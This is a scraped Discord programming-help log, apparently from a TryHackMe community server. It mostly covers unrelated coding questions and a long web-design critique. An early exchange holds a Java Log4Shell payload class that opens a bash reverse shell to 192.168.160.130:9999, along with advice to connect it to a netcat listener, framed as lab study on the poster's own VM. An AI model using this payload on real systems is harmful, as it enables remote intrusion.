int endPort = 65535; // Ending port for the scan
// Multithreading: Use a thread pool with 100 threads
ExecutorService executor = Executors.newFixedThreadPool(100);
List<PortScannerTask> tasks = new ArrayList<>();
// Create tasks for each port in the specified range
IntStream.rangeClosed(startPort, endPort).forEach(port -> {
PortScannerTask task = new PortScannerTask(ipAddress, port);
tasks.add(task);
});
try {
// Start all tasks in the thread pool
executor.invokeAll(tasks);
// Wait for completion of all tasks and shut down the thread pool
executor.shutdown();
executor.awaitTermination(5, TimeUnit.MINUTES);
} catch (InterruptedException e) {
e.printStackTrace();
}
// Output the open ports
System.out.println("Open ports on " + ipAddress + ":");
tasks.stream().filter(PortScannerTask::isPortOpen).forEach(task -> {
System.out.println("Port " + task.getPort() + " is open.");
});
}```
private String ipAddress;
private int port;
private boolean portOpen;
public PortScannerTask(String ipAddress, int port) {
this.ipAddress = ipAddress;
this.port = port;
}
@Override
public void run() {
try {
// Open socket connection to the port
InetAddress inetAddress = InetAddress.getByName(ipAddress);
Socket socket = new Socket();
socket.connect(inetAddress, port, TIMEOUT);
socket.close();
portOpen = true;
} catch (IOException e) {
// Port is not open
portOpen = false;
}
}
public int getPort() {
return port;
}
public boolean isPortOpen() {
return portOpen;
}
}
}```
dont work... why?
@keen patio Use code blocks please #programming message
i do
What doesn't work?
Scan foreign networks and discover vulnerabilities, but it doenst work
Maybe you could post an actual error and that would help troubleshoot. Just out of curiosity, what are you trying to scan? Maybe there is something in the way.
Hi Im trying to exploit log4shell on my virtual machine for my study.
I succesfully did this on a linux minecraft server ( where the injection point is the minecraft chat ) I used the following exploit:
public class Exploit {
static{
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.160.130/9999 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
However, when trying this on windows, I am able to open up calc.exe. But I cant open powershell.exe
public class WindowsExploit {
static {
try {
Runtime.getRuntime().exec("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe").waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
OR
public class WindowsExploit {
static {
try {
Runtime.getRuntime().exec("powershell.exe").waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Both are not working.. I dont understand why..
Your first exploit connects back to you. The second one only creates a powershell process
go, rust, or smth else? for web/network related stuff?
ok lmao, I expected 0 logs. T^T
So with process you mean you wouldnt see it on show on the vulnerable server? ( I also tried to create a reverse shell with powershell, which didnt work either)
C# should have a serialization format
Look into picocli to handle command line arguments π
You create the process but it's local to the machine, it won't connect back to you. You'll probably need to play with java sockets to forward the io towards a netcat on the attacker host
https://www.revshells.com/. Look at java 3 for inspiration
I see.. thank u. I did actually find a script that, whenever im entering it in the powershell it worked.. but i couldnt let it work with RCE
Gave +1 Rep to @brazen eagle
Alright I will do that, i used a poweshell one liner but this wouldnt work probably cause it's using java?
You're right yea! I found it yesterday evening
using UnityEngine;
public class Cell
{
public bool[] walls = new bool[4];
public bool[] corners = new bool[4];
public string SaveToString()
{
return JsonUtility.ToJson(this);
}
}
public class JSONScriptHandler : MonoBehaviour
{
private Cell newCell = new Cell();
private bool coolValue = true;
public void Start()
{
Debug.Log(newCell.SaveToString());
}
}
This is kind of what my test looked like and it works π
how i fix this error:--- gobuster -u http://fakebank.com -w wordlist.txt dir =====================================================
Gobuster v2.0.1
[+] Mode : dir
[+] Url/Domain : http://fakebank.com/
[+] Threads : 10
[+] Wordlist : wordlist.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
2022/04/11 18:23:28 Starting gobuster
/images (Status: 301)
/DIRECTORY_NAME_OUTPUT (Status: 200)
2022/04/11 18:23:38 Finished
Show that syntax error near unexpected token
my goal is transfer money in my account
Okay this is the tutorial tryhackme room
yes
This snippet does not show a syntax erroro. It shows a gobuster run with no errors. #room-help is the appropriate place to ask for help, this is not a programming question from what you've posted that I can see.
Everything needed is given in the task
https://tryhackme.com/room/introtooffensivesecurity
I'm also not sure exactly what trouble your having? You've just posted the info they've given you, so as juun mentioned #room-help
gobuster -u http://fakebank.com/ -w wordlist.txt - type that command remove dir
why remove dir?
the command will still work.
Does anyone know how to put excel csv into python program?
hey can anyone help me with regex rq? yes i do not know it... its a very simple thing
whats the regex if i want to check if the text beggins with lets say
something i want to check if it starts with something
if it does the rest is not important
have you used regex101
^https?:\/{2}youtube\.com(?:\/.*)?$ would check for the url you put in #general, with *either* http or https, ending in *either* nothing, a trailing slash, or a trailing slash and any characters after
regex101 is solid for testing and writing strings
(and you can go through the regex step by step while it compares to see how it works or where it fails)
(so in this case, just ^something or ^something.*$)
what can i do
I mean that script isn't useful anymore as WSL uses systemd natively now
Hello friends
I wrote a nice program called network scanner with python,
You can reach me at my github address
https://github.com/HalilDeniz/Network-Scanner
Contribute to HalilDeniz/Network-Scanner development by creating an account on GitHub.
@lilac holly please stop self promoting everywhere
I saw your posts yesterday as well
Hello guys. I'm looking for joint projects on web development..python django
maybe you should look more carefully, I wrote 4 different projects in the last 1 week, and naturally I share them
and yes, you will see every different project I have written and shared
it doesnt matter if they are different projects, please check out #rules > rule 3
have a chat with Hydra when he is around about if / how you can share your projects
so, this is will generally be a no under rule 3
lets try to avoid being excessive, especially on bog-standard tooling that brings nothing new to the table
though using ArgParse is a step up from the usual π
ahhh shit
I expected this to a problem
// Including basic libs
#include <Arduino.h>
#include <U8x8lib.h>
#include <math.h>
// Setting up OLED display
U8X8_SSD1306_128X64_NONAME_HW_I2C u8x8(/* reset=*/ U8X8_PIN_NONE);
//Gravity Acceleration
#include "LIS3DHTR.h"
#ifdef SOFTWAREWIRE
#include <SoftwareWire.h>
SoftwareWire myWire(3, 2);
LIS3DHTR<SoftwareWire> LIS; //Software I2C
#define WIRE myWire
#else
#include <Wire.h>
LIS3DHTR<TwoWire> LIS; //Hardware I2C
#define WIRE Wire
#endif
// Global variables
float maxAccel = 0.0;
int pastLight = 0;
bool aboutToLaunch = false;
bool flying = false;
// Input variables
int ledPin = 4;
int sensorpin = A6; // Analog input pin that the sensor is attached to
int lightValue = 0; // value read from the port
// Accel values
int accelValues[5000];
int accelIndex = 0;
void setup() {
Serial.begin(9600);
while (!Serial) {};
LIS.begin(WIRE, 0x19); //IIC init
delay(100);
LIS.setOutputDataRate(LIS3DHTR_DATARATE_50HZ);
// OLED Display
u8x8.setBusClock(100000);
u8x8.begin();
u8x8.setFlipMode(1);
// Light sensor
pinMode(ledPin,OUTPUT);
pinMode(sensorpin, INPUT);
}
void loop() {
// Accelerometer
if (!LIS) {
Serial.println("LIS3DHTR didn't connect.");
while (1);
return;
}
// Reading inputs
float currentAccel = sqrt(pow(LIS.getAccelerationX(), 2)+pow(LIS.getAccelerationY(), 2)+pow(LIS.getAccelerationZ(), 2));
lightValue = analogRead(sensorpin);
if (pastLight == 0) {
pastLight = lightValue;
} else if (pastLight-lightValue > 100) { // Finger on board
if (aboutToLaunch == false) {
Serial.println("Ready to launch!");
aboutToLaunch = true;
}
} else {
if (aboutToLaunch) {
flying = true;
Serial.println("Launched");
aboutToLaunch = false;
}
}
pastLight = lightValue;
if (flying == true) {
if (currentAccel < 1.15) {
flying = false;
Serial.println("Landed");
for(size_t i = accelIndex; i--;) {
Serial.println(accelValues[i]);
accelValues[i] = 0;
}
accelIndex = 0;
Serial.println(maxAccel);
maxAccel = 0.0;
} else {
accelValues[accelIndex] = currentAccel;
accelIndex ++;
Serial.println("IM FLYING WHOOO");
if (currentAccel > maxAccel) {
maxAccel = currentAccel;
}
}
}
// Serial.println(currentAccel);
// Serial.println(flying);
// Display
u8x8.setFont(u8x8_font_chroma48medium8_r);
u8x8.setCursor(0, 0);
u8x8.print("Max accel:");
u8x8.setCursor(0, 10);
u8x8.print(maxAccel);
}
thoughts so far?
as you can probably tell i have 0 experience with c++
ok i should probably reduce that array a tincy bit smaller
Yeah you don't have enough space there
Try 256 values
https://www.phind.com/
This looks like an interesting alternative to AI like copilot, especially useful that it cites it sources
I really enjoy it. Itβs the kind of Google I want
thank you for this resource, this is like discovering chat GPT again.
Oh, where'd the code go?
i wanna have some fun implementing stuff like proxies and web servers
go or rust? (or smth else)
Eh not python tho
probably go for networking
thank ya hydra <3
Gave +1 Rep to @brazen eagle
Friends, do you know how to intercept mobile SMS verification codes
what service?
hi
hey guys i had this ore error on my code that i cant solve it
Hey, if you want you can share your code and the error message here and someone can take a look when they've got free time
Try and post your code in codeblocks: type three backticks ` followed by your code and then close it off with another three backticks:
$yourcodeexample```
not working
you need three of these: `
def __init__(self, data=None):
self.data = data
self.next = None
class LinkedList:
def __init__(self):
self.head = Node(0) # First node will have the count of the number of nodes available in the linked list
self.size = 0
def push(self, data):
new_node = Node(data)
new_node.next = self.head.next
self.head.next = new_node
self.size += 1
def pop(self):
if self.head.next is None:
return None
popped_node = self.head.next
self.head.next = popped_node.next
self.size -= 1
return popped_node.data
def display(self):
current_node = self.head.next
while current_node is not None:
print(current_node.data, end=' ')
current_node = current_node.next
print()
```
this is the first part
def is_empty(self):
return self.size == 0
def top(self):
if self.head.next is None:
return None
return self.head.next.data
def is_operand(char):
return char.isalpha() or char.isdigit()
def higher_precedence(op1, op2):
precedence = {'+': 1, '-': 1, '*': 2, '/': 2, '^': 3}
return precedence[op1] >= precedence[op2]
def infix_to_postfix(infix_expression):
postfix_expression = []
stack = LinkedList()
for char in infix_expression:
if is_operand(char):
postfix_expression.append(char)
elif char == '(':
stack.push(char)
elif char == ')':
while stack.top() != '(':
postfix_expression.append(stack.pop())
stack.pop()
else:
while not stack.is_empty() and stack.top() != '(' and higher_precedence(stack.top(), char):
postfix_expression.append(stack.pop())
stack.push(char)
while not stack.is_empty():
postfix_expression.append(stack.pop())
return postfix_expression
def check_parenthesis(infix_expression):
stack = []
for char in infix_expression:
if char == '(':
stack.append(char)
elif char == ')':
if len(stack) == 0:
return False
stack.pop()
return len(stack) == 0
second part
def main():
# read input from user
infix_expression = input("Enter the infix expression: ")
# check for parenthesis
if not check_parenthesis(infix_expression):
print("Invalid expression: parenthesis not balanced")
return
# convert to postfix
postfix_expression = infix_to_postfix(infix_expression)
# update linked list with postfix expression
linked_list = LinkedList()
linked_list.push('(') # add left parenthesis as the first node
for char in postfix_expression:
linked_list.push(char)
linked_list.push(')') # add right parenthesis as the last node
# display output linked list
linked_list.display()
if __name__ == '__main__':
main()
thats the whole code
What's the error message?
NameError: name 'infix_to_postfix' is not defined
Is this homework?
yes
We typically don't help with that, but I can assure you if you research the error message you'll find out why it doesn't work
The reason for it is in one of the codeblocks you've posted
which one
Research the error NameError for python and you'll see what the problem is
okay thanks!
@glad void You should check the rules, don't DM people without permission please
i need to store extremely sensitive information in a database. I need to encrypt that information and be able to decrypt it again. I'm using C#/.NET Core (and MS SQL as a database). What would be the most secure way to do this? Any resources on that?
usually passwords are stored using some strong hashes like SHA512 with salting
Here is a C# article
https://code-maze.com/csharp-hashing-salting-passwords-best-practices/
i'm not talking about passwords. and i specifically need to decrypt the data again. otherwise i would have used a hash
Oh apologies, I read that and forgot about it π
Well, I can think of having a cipher with a passphrase either user provided or system wide
take a look at https://www.dcode.fr/ it has so many ciphers you can probably find C# codes for
does this extremely sensitive data need to abide by any standards
and what do you mean by extremely sensitive data
AES-GCM is the gold standard, though you'll have to be careful with key management
Hashes can't be decrypted. And passwords aren't stored in a hash, they are hashed and then the signature is stored; it's a pretty fine distinction, but it's extremely important to understand the difference between a signature and encrypted data, the use cases for each.
Thanks for the info π do you happen to have a goof article about the different? I've tried searching but topics are mixed and not straight forward
Gave +1 Rep to @magic falcon
There are hundreds of blog articles on the topic; it's simpler though, to just accept that a hash is defined as a one way mathematical function, and encryption is a reversible transformation based on a key.
True, I originally didn't give the correct answer (the msg you replied to) then I corrected it with encryption algorithms #programming message
Yeah but you don't use async if you need perf. Still have the key storage issue though.
Public key crypto is useful for signing messages though
just implement PGP :3
async to get the key across and have fun with sync after
That's how tls works
that's why i mentioned ittt
Hello everyone.
3 days ago, you can pull certain information from the website with this python script. feel free to test the tool:
https://github.com/HalilDeniz/PathFinder
why did nobody tell me working with cryptograhpy is so much fun?
i'm not even doing that much math. just using crypto-libraries. but implementing the security, setting up cryptography, key management etc. I learned so much and having a blast implementing it
well, yea that's fun indeed
Hey bro
I'm new here in hacking world
I just started course called bug bounty from zero to hero and i found it interesting but dunno know that much can you help me out
@molten pagoda
see #bug-bounty there might be lots of stuff that helps, see pinned messages there as well
you shouldn't tag random users. also, just ask the questions you have in the appropriate channels instead of a generic "can you help me". That way, if somebody can help you, they can just answer your question
I found he can help me
That's fine, new users may not know all the rules/the correct places, and the community is generous enough to help anytime :D
oh also, see #start-here
Thank you folks
Can I ask one more question here please
yeah, it was meant as advice. maybe came of a bit harsh the way i wrote it
No that's fine
if it's related to programming sure, otherwise feel free to ask in #site-support (kinda more general channel) and tag me if you want
All good ;D
does anyone have any tip for learning web development as a 17 year old beginner!?
https://tryhackme.com/module/how-the-web-works (general knowldge)
sololearn.com (html/js/css basics)
https://tryhackme.com/room/pythonbasics (python related web template)
https://tryhackme.com/room/flask (web template)
https://tryhackme.com/room/django (web template)
Alright, I'm going to officially ask you to please stop advertising your python projects. You are not contributing to the discord otherwise and it's getting old. Next time there will be consequences.
!rule 3
Rule 3: No excessive self promotion. You are welcome to post livestreams, writeups, and videos of THM content in #thm-community-media; these should be submitted to the room in question and approved by the creator before being posted here (it goes without saying that 'writeups' which are just copy/pasted room content, or are answer dumps, are a big no-no). Please do not abuse this. Be respectful to other users -- we are not interested in seeing you repeatedly spam your own content.
When in doubt, ask a moderator in the chat :)
@lilac holly please see the previous rule for reference.
Not in #site-support , hehe
You're probably better off joining a web dev centered discord server ( in addition to THM )
yea we ended up going to #cyber-and-careers π
who can teach mi the programming
were are you from
somewhere on the planet ;)
are you from iraq
yes
(Thereβs a couple of links pinned too)
mee to(;
can you send this in arabic
This server is english only. Please do not ask people to break the rules.
you can use google translate :)
Because your myfile is in desktop not the home dir
how would I write it so it checks for the file in the whole system
Probably use find
You'll need to walk the FS then
Ask a mod nicely and be prepared to provide proof
thanks
Gave +1 Rep to @brazen eagle
Yall ever do stuff programming related and it feels like it should be an easy task but it's really confusing for whatever reason?
That's programming in general. The more planning you do to walk through the logic before you sit at hte keyboard, the more progress you'll make
When that happens I usually resort to going hand written
planning the logic and solution, not the actual code
Well the planning is the problem at the moment 
Is the problem an assignment?
Seriously, walk through the process on a whiteboard or pen and paper. Once you understand the process of what you're trying to implement, the actual coding will be much less of a problem.
Well I was just typing it out like this and trying to look at how a grid looks with the numbers, but the problem is just creating a mesh grid and assigning vertices properly. I could look it up but don't really want to copy and paste someone else's idea :p
No Im not trying to store information here, but I'm just trying to visualize how I would need to implement a system for assigning triangles.
For example one triangle could be from vertices 0, 1, 11 and another triangle would be 0, 11, 10. Idk its just kinda frustrating coding sometimes 
What do you mean by "system for assigning triangles"?
Assigning triangles to what exactly? And what data structure would it be?
In unity the way meshes work is they have a vertex array, which is a Vector3[]. This is where all the vertices are stored and their positions.
To assign triangles you need to assign an int[] array determining which Vertices are connected...
So for example an array containing 4 points for a quad could look like this.
private Vector3[] vertices = new Vector3[]
{ // Index
new Vector3(0, 0, 0), // 0
new Vector3(1, 0, 0), // 1
new Vector3(0, 0, 1), // 2
new Vector3(1, 0, 1) // 3
};
Then to assign triangles you need to assign the int array like so.
private int[] triangles = new int[]
{
0, 1, 2, //Triangle 1
1, 3, 2 //Triangle 2
};
But for some reason I cant think of the proper logic to make this work in a for loop. (I did ask ChatGPT how to do such a thing, and it came up with a working solution but I don't really understand it)
I might just let it sit in my mind for a bit, take a break and then continue later π
Ah okay, so correct me if I'm wrong but
private Vector3[] vertices = new Vector3[]
{ // Index
new Vector3(0, 0, 0), // 0
new Vector3(1, 0, 0), // 1
new Vector3(0, 0, 1), // 2
new Vector3(1, 0, 1) // 3
};
This part just contains points on the plane, at those vector coordinates.
Then you want to make a triangle with 3 of those vector points
private int[] triangles = new int[]
{
0, 1, 2, //Triangle 1
1, 3, 2 //Triangle 2
};
Where the numbers are the index locations of the vector points?
Yeah :p
If implemented properly those two arrays would produce triangles like this
i see what you're doing with this, but pre-mature optimization is going to introduce a bunch of off by 1 errors - keep advice as simple as possible to reduce complexity
What kind of project are you using Unity to build?
To be completely honest, I was just trying to confirm I knew what the problem exactly was before trying to come up with a solution π
This is literally just to mess with meshes for landscapes at the moment, it looked fun so I was just messing with it.
But how are you gonna know what triangles to make? Where do these numbers come from?
Those are already predefined triangles... so I just manually ordered the points properly to make two triangles
The points 0, 1, and 2, are indexes in the Vector3 so the first triangle is made using these 3 points
new Vector3(0, 0, 0), // 0
new Vector3(1, 0, 0), // 1
new Vector3(0, 0, 1), // 2
Yup gathered that, but what triangles are you trying to make?
private Vector3[] vertices = new Vector3[]
{ // Index
new Vector3(0, 0, 0), // 0
new Vector3(1, 0, 0), // 1
new Vector3(0, 0, 1), // 2
new Vector3(1, 0, 1) // 3
};
You have this, what is telling you what triangles need to be assigned?
I am a bit confused by your question, I am telling the computer what triangles need to be assigned using the integer array. I did just come up with a possible solution for the triangles though so I will try to implement it later :p
Sure, so your just giving it an array like 0, 1, 2 ?
Yeah :p
Its an array of integers, and each set of 3 numbers equals a triangle
0, 1, 2 would be a triangle
1, 3, 2 could be another
2, 1, 0 would be the first one but flipped normal direction (because it is labeled counter clockwise and that is how Unity determines direction)
Got you! So you want to split the array into sets of 3?
Basically yeah. You're generating a grid by having it split the array of points into sets of 3 to determine where each triangle goes
https://stackoverflow.com/questions/37361331/how-to-iterate-a-loop-every-n-items
Maybe this will help?
But why give it as a single dimension array?
Discussion of malware is restricted to certain channels; additionally, this looks like homework (so we can't help you).
Hey, thanks for the heads up. It's not homework, its a challenge, what would your advice be?
Gave +1 Rep to @magic falcon
Anyone here worked with encoding barcodes? Especially with 2d barcodes
I forgot lists exist
Thanks for the link! I shouldve thought of using one haha
Gave +1 Rep to @surreal bronze
Please stop asking about it here, it's not alloeed outside of specific channels which you do not currently have access to
Sure. What's up?
hello
can a website like TryHackMe be using a NoSql database or does it have to be relational ?
I'm pretty sure we do use NoSQL,
cc @sly breach, I don't know what the rules on disclosing this is? π
I'm pretty sure my NDA prohibits this
(For reference, I don't actually know, and if I did, I don't know how much I can say about how the internal processes of the company work. My answer is generated by response from the Discord I read a while back)
Yeah, I'm not too clued uip on the backend in that sense, and I wouldn't be comfortable talking about it either
well I was just wondering if the functionality of storing each answered question for each user would better be in a relational database? Since you have to track all progress a user has made
pretty sure they've examined the best choices for the db
I am asking for myself to know what to choose
the only way to know is to do an analysis of the types of data you want to store, and to do some metric estimation and PoC work
Search the difference between vertical and horizontal scalability; structured and unstructured data, etc.
there are other concerns as well though - data repetition and expected operations are very common and somewhat overlooked factors
Oh yes, query complexity, volume, etc. many considerations.
I got a mesh to start working
but the vertex orders aren't done properly yet
Nevermind I got it to work. It wasnt working because my indexing of the vertices in the triangle array were not done properly 
int index = x + y * (gridSizeX + 1);
triangleList.Add(index);
triangleList.Add(index + 1);
triangleList.Add(index + gridSizeX + 1);
triangleList.Add(index + gridSizeX + 2);
triangleList.Add(index + gridSizeX + 1);
triangleList.Add(index + 1);
looks like half the triangles were upside-down and then were culled
Yea :p
haven't done graphics in at least a decade >.<
Certainly used to be mongodb, not sure if it still is
I don't have an NDA and I remember seeing the verbose errors so I can say this at least ^
well this is interesting
I was thinking to learn C++ development on Linux and networking in C++ with ASIO. I should try and make a web server that I can connect to on my LAN. Starting very basic with a simple static HTML but I would like to maybe host a server on my main desktop and access content on it or something.
I know PHP can read tags from the HTML and handle form data etc. Maybe I could do that with C++ instead.
Then next maybe make a ASCII game that's also networked. I would need to know how to update the screen fast enough maybe directly using X11 calls in the client (all to avoid the slow printf function calls.). Then set up a little top down world to explore with other square text character.
Not a plug but I just launched this website www.lanebyte.com on my local server the webpage displays everything perfectly, but once hosted through hostgator, my webpage doesnt display the main title text just a flashing | @vestal carbon
I dont know if I fucked something up in my code, or what
What hosting package are you running locally?
By locally I mean just opening the file in chrome
But I am using Hostgator webhosting services through cPanel
have you tried via github or gitlab pages?
wdym?
yeah no, its static
This is what you see on web?
yeah, some JS running on it only
yeah that all I see through webhosting, although this is what it looks like on my side:
file:///C:/Users/jbare/Personal%20Website/index.html this is what I mean by local hosting
on a UX side, slow down the animation, it's a bit distracting π
it does not look like the title is in the code?
I don't see any "Lane Byte" text in source.
whats your index.html
same
<html>
<head>
<title>Home</title>
<link rel="stylesheet" href="css/index.css">
</head>
<body>
<div class="banner-container">
<div class="banner-content">
<h2>> Under Construction <</h2>
<p>
This website is currently under construction.<br>
<br>
Some features of this website may not be functional.<br>
<br>
If you experience any issues related to this website<br>
please contact me using discord @ Lane#0085.<br>
<br>
Thank you for your patience, please check back in a few weeks<br>
for further updates!
</p>
<button id="hide-banner">Hide</button>
</div>
</div>
<div class="navbar-container">
<div class="navbar-box">
<ul class="navbar-list">
<li><a href="index.html" class="navbar-link">Home</a></li>
<li><a href="about.html" class="navbar-link">About</a></li>
<li><a href="#" class="navbar-link">Services</a></li>
<li><a href="#" class="navbar-link">Contact</a></li>
</ul>
<span class="flashing-cursor">></span>
</div>
</div>
<div class="typing-container">
<h1>
<span id="title"></span>
<span id="typing-cursor" class="typing-cursor"></span>
</h1>
</div>
<canvas id="canvas"></canvas>
<footer>
<hr class="footer-line">
<p class="footer-text">Lane Byte © 2023. All rights reserved.</p>
</footer>
<script src="js/index.js"></script>
</body>
</html>```
yeah
same
nvm its too long lol
whats the URL pls?
So JS == Dynamic π
okay, so whats my issue? is it thinking that the home page is different from <home>
is there an index.htm lying around?
no
Where's this?
Good catch, that loads with just the cursor π
Do I have to create a redirect?
Thats what I'm not understanding
I know why
same
Okay I must be blind lmfao
it's obvious now that I look at it
I'm not seeing it whatsoever, keep in mind ive been staring at this shit all day lol
always helpful to have another set of eyes
there's no index in your url meaning it won't show the title
I'd do the same thing honestly
needs an || currentPage === ''
No "default" condition so to speak.
ahhhhh
yeee
or an else
and nuke the index case
give me 10 seconds site doesnt take long to update
Currently π
also also, the under construction banner is so 1998
One day you will get annoyed with having to load a whole page to update one small thing, then you'll start building a framework, and the index file will be a list of includes, and nothing else π
Lmfao
I enjoy that you can hide it though.
ok I love it tho! π
Just something I wanted to try
It's like 2023 does 1998
this is true though
It fit the theme though lol
(well, web 2.0 for active... so 2003 does 1998?)
but it's a bit awkward and superfluous
slight nickpick but it does look weird with the text heading
yeah
especially the see through
Auto-hides in 10 seconds π
irritates my eyes
Lol I dont mind critisim lol
raise the opacity
sounds good
Its not permanent or anything lol but for the mean time I understand
much better
Welcome to web-design. π
Thank you, been wanting to try this idea our for awhile
Gave +1 Rep to @tranquil stirrup
I like how you link index.html# on everything else than about.html and just redirect to 404
lmfao
Like I said its still under development, read the banner lmfao
yeee, just funny
You're just trying to find bugs lmfao
I'd still slow down the background animation
Okay let me look into that really quickly
also http://www.lanebyte.com/index.html is now broken
heh
lol yeah I'll have to add another else tag
I just removed the first one lol
I said add an or
I like the design
lol
yeee
BEGONE!
(routing is hard)
if (currentPage === '' || currentPage === 'index' ) {
typeTitle('Lane Byte');
} else if (currentPage === 'about') {
typeTitle('About');
} else if (currentPage === 'blog') {
typeTitle('Blog');
} else if (currentPage === 'services') {
typeTitle('Services');
} else if (currentPage === 'contact') {
typeTitle('Contact');
}
okay, I'll fix that
yeah that
now its the opposite
http://lanebyte.com/index.html
doesnt work
but http://lanebyte.com/ does
yeah known bug
we just said that
now I have to do some math's and change the speed lol
sorry guys im old
get with the program!
naw, divide everything by 5 ish
yeee
okay
well, the speeds
will be better with a more subtle effect, I'm assuming 30-60 fps here
works :)
yeeee, much better
you also fixed that other bug
Yeah I'm aware lol
For a second I thought I broke half of my background because one side was just black while the other had lines lol
you can go even slower tbf
by how much? you think?
at least half
okay lets try that out
Mobile actually works decent too
thats good, because I didnt develop for mobile lmfao
Does kinda feel like its in desktop mode but its accessible sooo
Unintended surprise 
half speed is published
I mean it's pretty basic and there's a good bit of free space
indeed
how does that look hydra?
really nice
I did but I couldnt get it to stay close to the text, it looked awkward
this is a simulated iPhone
Fair
better
motion is still visible, but feels more subtle and less hyperactive
yeah I dont mind it at all
Good job!
I'm still learning web development, but I feel for one of my first PUBLISHED projects this is actually pretty good. I really appreciate the critisism too!
I have not
it's easier if you specify HSL
Nice 404
Mine just redirects them to a special youtube video for any invalid request
I may look into that
Lol I havent gotten a 404 yet lol
Don't know what it looks like
The site was JUST PUBLISHED not even an hour ago
any button
lol
that's almost mean
But i feel that If I continue with this project, it may turn out pretty good lol
they shouldn't be poking around!
very probably
I mean I still have https://admin.hydrashead.net
Super Secret Admin Panel, Keep out!
what are you hosting it on
HostGator
okay now thats pretty neat
fair play
yeah provider just have a letsencrypt button
All of HostGator's web hosting plans come with a free SSL certificate, so you can keep your website and customers safe. Need extra protection? Purchase an additional SSL today!
On my end it says it will cost $800+ lmfao
yeah use the freebie
there's a free version
I'm running AutoSSL right now one second lol
speaking of programming, I need to get back to finish my custom tooling
okay it should be secure now lets see
Well it may take a bit
actually lol
Thats what my cPanel says atleast lol
beautiful lol
also running TLS 1.3
Yeah probably not the greatest eh?
it's the latest spec
Ah okay, bet.
Now I need to create a logo, and favicon lol
I also want to try something with the dot and lines animation
Not sure how I like that
any opinions @surreal bronze @brazen eagle @vestal carbon
Yeah I prefer the older one
Yeah I only tested it on localhost
Need to create a backup of this though just incase I fuck it up lol
Also is this better for the banner?
Tsk tsk, mobile first
I like the old school "under construction" banner π
Lmfao
I wanted to try it man
Kinda fuels the fire of the website
Its still kinda basic in itself
not much
Fr though Id highly recommend to build mobile first
Whys that
I dont like this about me page at all either lol
Need more
and less at the same time
Because a lot, lot of views today come from mobile devices. A lot! Nevermind that we also have 50000 different screen sizes today. If your site is broken on a small(er) screen, it instantly gives off a very unprofessional first impression. Also, dont be scared of it π its actually super nice to work that way and will make your life easier and your code cleaner
Esp your site as it is, is super easy to build mobile first! Do it now before it gets too complex π
Okay do you know what would be so dope
?
Will do, I will definetly look into it thank you
Gave +1 Rep to @clear lodge
Not to sure about that @surreal bronze lmfao
Like the starwars animations opening credits π€£
Impractical but man would that be awesome aha
This is what I have, thinking about adding something under the paragraph
Maybe like photos of the people who helped build the site lol
Hmm
I dont know
I would:
- reduce about us box width ( the ideal amount of characters per line is something like 50-80 ). Too long lines are not comfortable for reading
- then place your picture and text next o one another in 2 columns
- ditch text align center and align your text left ( also for readability )
whats the url of this page? I can demonstrate it if you like
Its not live yet, although I think I understand what you mean
ah i see
just keep in mind that this feedback is all from a UX and modern best practices perspective. Its good for users but kills creativity a bit
so if you want to just do creativity, then go for it π
or find a nice balance between the two
I want the site to be likeable so ill definetly look into what your saying!
and 50char or words? lol
characters
her eis some article
you'll find a ton of them if you look online though
but generally the numbers vary somewhere between 50 and 80, some saying 65 is THE best
Also don't be afraid of whitespace
Yeah, thats something I realised was I keep trying to fill each page with as much information as possible, and I'm not giving the website space to breathe
little bit of template feedback, we dont really do </br> anymore. I know its a little counter intuitive but a <p> can be used for 1 line of text ( even if it isnt a literal paragraph ). You're going to see a lot of vertical space between the lines, but you should tweak that by adjusting the p tag margins and lineheight properties
Okay, thank you!
Let me add a scroll bar really quick, and then I'll look into what youre saying π
@clear lodge Does that look better length wise per line?
I added a bit more white space around the test aswell
yes, but its still a large block of text
trying to figure out how to isolate the text, and have it left-align rather than the whole box align left of the site
I'd break it up into a few paragraphs ( about equal size each ), and .. I'd probably align the text left
text-align: left;
on the box
or if you are using flexbox, thennnn from the top of my head its justify content
justify-content: flex-start
or something
Of course when you say it and I try it it works...
I tried that before lol but it did nothing lmfao
hehe yeah CSS is annoying like that π
Okay, and you said add space between the text? Like make it look like its less to read? lol
Here let me publish this live really quickly, so you can see it
So rather than putting every line in a <p>, just let the text fill the space. So insstead of:
<p>line<p>
<p>line<p>
<p>line<p>
<p>line<p>
do:
<p>
few lines
<p>
<p>
few lines
<p>
sure
its live
Don't worry about the so called 1998 banner lmfao
I'm still new to webdesign lol, and wanted to experiment
Okay, how did you do that lol
try to avoid br
breaking up your paragraphs will be a much easier reading experience. Here I also increased the lineheight ( to 2 rem ) on p
she used proper paragraphs and let the browser figure it out
Personally not a big fan on the border
dont put the border on the p tag π put the border on container ( that contains the text, in your case that is the div.about-content
okay, so add the class="outlined-paragraph" class to the about content div?
for the record on reduced height:
I would just call it border
that way, you can apply the class to any element that will get a border. There's no need to specify that, in this instance, it borders a paragraph
okay
and the only styles the class "border" then specifies is the border and te border radius, no more
keep it simple, stupid π
that way you can apply it to other elements consistently
naming things is a tricky thing and much debated. haha
use multiple paragraphs
well yeah
without the br
but I mean the border is gone
you'll figure it out π just need to fix your code a little bit
you may want to set a max-width as well Β―_(γ)_/Β―
instead of explicit linebreaks
be careful with height, it doesn't render properly on 1080p
No I'm trying to fix that aswell
What should the max width be set to?
whatever makes the 65 or so characters π
or say 70-80% on wide screens
and 90-100% on smaller
yes
"small" is usually less than about 1024 wide
though some subdivide at small ~800, medium up to ~1200 and large past
What about removing the white border, moving the "About me" up, making the text length slightly bigger and splitting it up into different paragraphs ?
Kinda like that
Yeah I think it should be slightly higher
/* all small screens will use 100% of the width */
.about-content {
...
width: 100%;
}
/* all screens with a width of 1024px minimum will use a width of 500px */
@media only screen and (min-width: 1024px){
.about-content {
...
width: 500px;
}
}
the 1024px is an arbitrary-ish number, its up to what you set it to. Some standard sizes are 768 for tablet, 1024 for large tablet / small laptop, 1440 for normal laptop screens etc. You can set as many as you want, but I recommend only using 1 or 2. Don't make it too complicated for yourself. These are called breakpoints btw.
